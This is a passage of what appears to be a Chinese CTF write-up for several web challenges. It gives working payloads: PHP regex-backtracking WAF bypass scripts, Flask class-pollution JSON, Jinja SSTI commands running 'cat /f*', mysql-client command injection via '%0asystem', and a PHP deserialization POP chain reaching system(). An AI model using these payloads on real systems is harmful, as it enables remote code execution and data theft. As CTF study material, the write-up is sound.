这里直接提交shell没用,但是最后出的时候调用又可以

首先注意参数的合法,需要将第一个改为[才可以不让后面的.解析为

这里第一个if有两个绕过方法

1
2
?e[m.p=0337522 //这个通过八进制绕过 或者 
?e[m.p=114514.2 //通过小数绕过

后面这两个if有些矛盾,如果想直接绕过很困难,先分析一下

1
2
preg_match('/.+?HACKER/is',$try)//这里通过匹配多个字符在HACKER前面,忽略大小写和通过多行匹配,这里如果HACKER前面没用字符就不会匹配成功
!stripos($try,'HACKER') === TRUE //这里就是如果HACKER在最开始的位置出现就为true

后面的stripos没有办法绕过,但是前面的正则可以通过正则回溯来进行绕过

1
2
3
4
5
6
7
8
import requests
url = 'http://challenge.basectf.fun:49472/?e[m.p=0337522'
data = {
'try': 'aaaa' * 250001 + 'HACKER'
}

r = requests.post(url=url, data=data).text
print(r)

最后面就是一个原生类调用

1
2
3
4
5
6
7
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
if(stripos($b,'php')!==0){
die("收手吧hacker,你得不到flag的!");
}
echo (new $a($b))->$c();

这里需要调用类的一个方法,可以想到通过fgets来读取文件

1
2
3
4
5
6
7
8
9
10
&a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=fgets
import requests

url = 'http://challenge.basectf.fun:49472/?e[m.p=0337522&a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=fgets'
data = {
'try': 'aaaa' * 250001 + 'HACKER'
}

r = requests.post(url=url, data=data).text
print(r)

解码即可

这里也可以再提交shell来rce,但是还得构造好payload之后,真的不知道原来干嘛的

1
2
3
4
5
6
7
8
9
10
import requests

url = 'http://challenge.basectf.fun:49472/?e[m.p=0337522&a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=fgets'
data = {
'try': 'aaaa' * 250001 + 'HACKER',
'shell':"system('cat f*');"
}

r = requests.post(url=url, data=data).text
print(r)

[Fin] Jinja Mark

在/index下有一个输入框,当尝试去进行ssti时就出现提示

但是当打开/magic时就需要通过post提交什么东西

先去/flag中看看

这里就可能需要我们去进行爆破的lucky_number,直接通过bp来进行爆破就可以的lucky_number

这里就是5346,提交之后就得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
BLACKLIST_IN_index = ['{','}']
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
@app.route('/magic',methods=['POST', 'GET'])
def pollute():
if request.method == 'POST':
if request.is_json:
merge(json.loads(request.data), instance)
return "这个魔术还行吧"
else:
return "我要json的魔术"
return "记得用POST方法把魔术交上来"

这里可以看到BLACKLIST_IN_index = [‘{‘,’}’],这里就禁用了{}所以直接ssti就有问题,很明显想让我们通过原型链污染来将其污染掉,其实也挺简单,可能/magic就是污染的地方,将上传的地方改为json再进行上传即可

1
2
3
4
5
6
7
{
"__init__":{
"__globals__":{
"BLACKLIST_IN_index":""
}
}
}

最后就是在index中进行简单的ssti即可

1
{{config.__class__.__init__.__globals__['os'].popen('cat /f*').read()}}

这里再讲一个非预期解,其实这里还是可以通过第一个原型链污染的方法污染静态代码目录来读取flag,和第一个的一样

1
2
3
4
5
6
7
8
9
{
"__init__":{
"__globals__":{
"app":{
"_static_folder":"./"
}
}
}
}

最后访问/static/flag即可

[Fin] Lucky Number

这个直接给源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
你不会以为这里真的有flag吧?
想要flag的话先提交我的幸运数字5346
但是我的主人觉得我泄露了太多信息,就把我的幸运数字给删除了
但是听说在heaven中有一种create方法,配合__kwdefaults__可以创造出任何事物,你可以去/m4G1c里尝试着接触到这个方法
下面是前人留下来的信息,希望对你有用
from flask import Flask,request,render_template_string,render_template
from jinja2 import Template
import json
import heaven
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class cls():
def __init__(self):
pass

instance = cls()

BLACKLIST_IN_index = ['{','}']
def is_json(data):
try:
json.loads(data)
return True
except ValueError:
return False

@app.route('/m4G1c',methods=['POST', 'GET'])
def pollute():
if request.method == 'POST':
if request.is_json:
merge(json.loads(request.data), instance)
result = heaven.create()
message = result["message"]
return "这个魔术还行吧
" + message
else:
return "我要json的魔术"
return "记得用POST方法把魔术交上来"


#heaven.py

def create(kon="Kon", pure="Pure", *, confirm=False):
if confirm and "lucky_number" not in create.__kwdefaults__:
return {"message": "嗯嗯,我已经知道你要创造东西了,但是你怎么不告诉我要创造什么?", "lucky_number": "nope"}
if confirm and "lucky_number" in create.__kwdefaults__:
return {"message": "这是你的lucky_number,请拿好,去/check下检查一下吧", "lucky_number": create.__kwdefaults__["lucky_number"]}

return {"message": "你有什么想创造的吗?", "lucky_number": "nope"}

也是一个原型链污染,具体污染什么可以直接通过源码看

1
2
3
4
5
6
7
8
9
#heaven.py

def create(kon="Kon", pure="Pure", *, confirm=False):
if confirm and "lucky_number" not in create.__kwdefaults__:
return {"message": "嗯嗯,我已经知道你要创造东西了,但是你怎么不告诉我要创造什么?", "lucky_number": "nope"}
if confirm and "lucky_number" in create.__kwdefaults__:
return {"message": "这是你的lucky_number,请拿好,去/check下检查一下吧", "lucky_number": create.__kwdefaults__["lucky_number"]}

return {"message": "你有什么

可以看到在heaven.py里面有一个函数就是create里面有两个if需要绕过

第一就是confirm参数为true,其次luckynumber在create._kwdefaults(这个就是create函数关键字参数的默认值的字典)中,这里就是我们的幸运数字,题目直接给了

思路还是一样通过获取全局属性进行修改函数里面kwdefaults的值即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"__init__":{
"__globals__":{
"heaven":{
"create":{
"__kwdefaults__":{
"confirm":"True",
"lucky_number":"5346"
}
}
}
}
}
}

最后查看/check给出一个/ssSstTti1最后通过ssti来得flag

1
{{config.__class__.__init__.__globals__['os'].popen('cat /f*').read()}}

这里还是有一个非预期解直接通过静态目录污染即可,我感觉这里是出题人的疏忽吧

1
2
3
4
5
6
7
8
9
{
"__init__":{
"__globals__":{
"app":{
"_static_folder":"./"
}
}
}
}

再访问/static/flag

[Fin] RCE or Sql Inject

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/se|ec|;|@|del|into|outfile/i', $sql)) {
die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
die("你知道的,不可能有RCE");
}
$query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"";
system($query);

这里将sql注入又进行了过滤,所以使用sql注入就不可能了

这里就需要通过rce来读取flag,题目是一个比较冷门的考点,mysql命令行程序的命令执行,常见于mysql有suid时的提权

1
2
%0asystem whoami //这样通过换行符来执行命令
%0asystem export //通过环境变量读flag

[Fin] ez_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php 
highlight_file(__file__);
function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
}

class Hacker{
public $start;
public $end;
public $username="hacker";
public function __construct($start){
$this->start=$start;
}
public function __wakeup(){
$this->username="hacker";
$this->end = $this->start;
}

public function __destruct(){
if(!preg_match('/ctfer/i',$this->username)){
echo 'Hacker!';
}
}
}

class C{
public $c;
public function __toString(){
$this->c->c();
return "C";
}
}

class T{
public $t;
public function __call($name,$args){
echo $this->t->t;
}
}
class F{
public $f;
public function __get($name){
return isset($this->f->f);
}

}
class E{
public $e;
public function __isset($name){
($this->e)();
}

}
class R{
public $r;

public function __invoke(){
eval($this->r);
}
}

if(isset($_GET['ez_ser.from_you'])){
$ctf = new Hacker('{{{'.$_GET['ez_ser.from_you'].'}}}');
if(preg_match("/\[|\]/i", $_GET['substr'])){
die("NONONO!!!");
}
$pre = isset($_GET['substr'])?$_GET['substr']:"substr";
$ser_ctf = substrstr($pre."[".serialize($ctf)."]");
$a = unserialize($ser_ctf);
throw new Exception("杂鱼~杂鱼~");
}

这个题看到一个pop链,就可以先去构造,需要注意的是这里需要绕过throw new Exception(“杂鱼~杂鱼~”); ,所以,这里就需要去提前触发Hacker里面的__destruct(),这里就可以通过php回收机制来进行绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class Hacker{
public $start;
public $end;
public $username="hacker";
}

class C{
public $c;
}

class T{
public $t;
}
class F{
public $f;
}
class E{
public $e;
}
class R{
public $r;
}
$a = new Hacker();
$a->end = &$a->username;
$a->start = new C();
$a->start->c = new T();
$a->start->c->t = new F();
$a->start->c->t->f = new E();
$a->start->c->t->f->e = new R();
$a->start->c->t->f->e->r = 'system("ls");';
$b=array('1'=>$a,'2'=>null);
echo serialize($b);
//a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:13:"system("ls");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:2;N;}

序列化的结果在最后有一个i:2;,改为i:1,来提前触发__destruct()

1
a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:13:"system("ls");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}

这里就已经完成第一步了,接下来就要看如何提交参数和进行逃逸

参数的合法可以直接将第一个改为[即可 ez[ser.fromyou 否则后面的.会被解析为

接下来就得开始字符串逃逸的操作,首先需要知道一点,可以查看对于比赛的题目来进行类似

https://chenxi9981.github.io/ctfshow_XGCTF_%E8%A5%BF%E7%93%9C%E6%9D%AF/#Web

1
2
3
每发送一个%f0abc,mb_strpos认为是4个字节,mb_substr认为是1个字节,相差3个字节
每发送一个%f0%9fab,mb_strpos认为是3个字节,mb_substr认为是1个字节,相差2个字节
每发送一个%f0%9f%9fa,mb_strpos认为是2个字节,mb_substr认为是1个字节,相差1个字节

这里如果直接将我们构造好的链子上传就变为了

1
O:6:"Hacker":3:{s:5:"start";s:214:"{{{a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:13:"system("ls");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:2;N;}}}}";s:3:"end";N;s:8:"username";s:6:"hacker";}

前面的其中的38个字符是没有用的,后面的可以不用管,会在序列化时被忽视,所以只需要将前面的去除即可

1
O:6:"Hacker":3:{s:5:"start";s:214:"{{{

最后面的payload就出来了

1
substr=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9fab&ez[ser.from_you=a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:13:"system("ls");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}

最后面就直接去读flag即可

1
?substr=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9fab&ez[ser.from_you=a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:17:"system("cat /*");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}